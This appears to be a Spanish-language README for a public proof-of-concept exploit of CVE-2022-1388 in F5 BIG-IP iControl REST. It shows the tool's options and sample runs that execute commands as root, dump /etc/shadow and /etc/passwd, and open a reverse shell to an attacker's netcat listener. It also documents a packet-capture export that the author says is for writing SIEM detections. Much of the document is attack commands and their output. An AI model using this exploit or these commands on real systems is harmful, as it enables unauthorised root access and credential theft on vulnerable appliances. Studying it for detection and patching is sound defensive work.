
-- SOLO PARA USO EDUCATIVO -- Prueba de concepto de RCE para CVE-2022-1388, además de algunas funcionalidades añadidas para blue team y red team
El autor no es responsable ni se le puede exigir responsabilidad por cualquier acción realizada con cualquier aspecto de este proyecto/repositorio. Lo creé con el propósito de comprender el ataque y también de escribir detecciones dentro de un SIEM, y quería compartirlo para que otros hicieran lo mismo. Úsalo bajo tu propio riesgo.
Este exploit apunta a la vulnerabilidad CVE-2022-1388 de BIG-IP iControl REST en F5 Systems. Consulte el aviso de F5 (https://support.f5.com/csp/article/K23605346) para conocer las versiones afectadas y otra información.
No dudes en enviar un PR o reportar cualquier problema. Esto fue probado en algunas F5 VE vulnerables en Google Cloud desde una máquina CentOS con Python 3.6
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET, --RHOSTS TARGET
Target IP of vulnerable BIG-IP system
-p PORT, --port PORT, --RPORT PORT
Target port on vulnerable BIG-IP system
-c CMD, --cmd CMD, --command CMD
Command to run on target system
-e, --export, --tcpdump
Export captured traffic and ssl-key.log | **Requires sudo privileges!
-q, --quiet Don't display banner
-s, --shell Launch an interactive shell
-lh LHOST, --lhost LHOST, --LHOST LHOST
Required for -s [shell]; Local IP/interface to bind listener to
-lp LPORT, --lport LPORT, --LPORT LPORT
Required for -s [shell]; Local port to bind listener to
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...
[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root
Especificar la opción -e (--export) creará dos archivos: detection.pcap y ssl-key.log. Estos archivos se sobrescribirán cada vez que se especifique la opción -e, así que recuerda mover o renombrar los archivos que desees conservar. El archivo ssl-key.log se puede importar en Wireshark a través de Preferencias -> Protocolos -> TLS -> Nombre de archivo de registro de (Pre-)Master-Secret para descifrar la sesión TLS. Ten en cuenta que, debido a tcpdump, cuando se usa -e, el script debe ejecutarse como sudo.
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]
Antes del descifrado TLS:
Añadiendo el ssl-key.log exportado automáticamente a las preferencias de TLS en Wireshark:
Después del descifrado TLS:
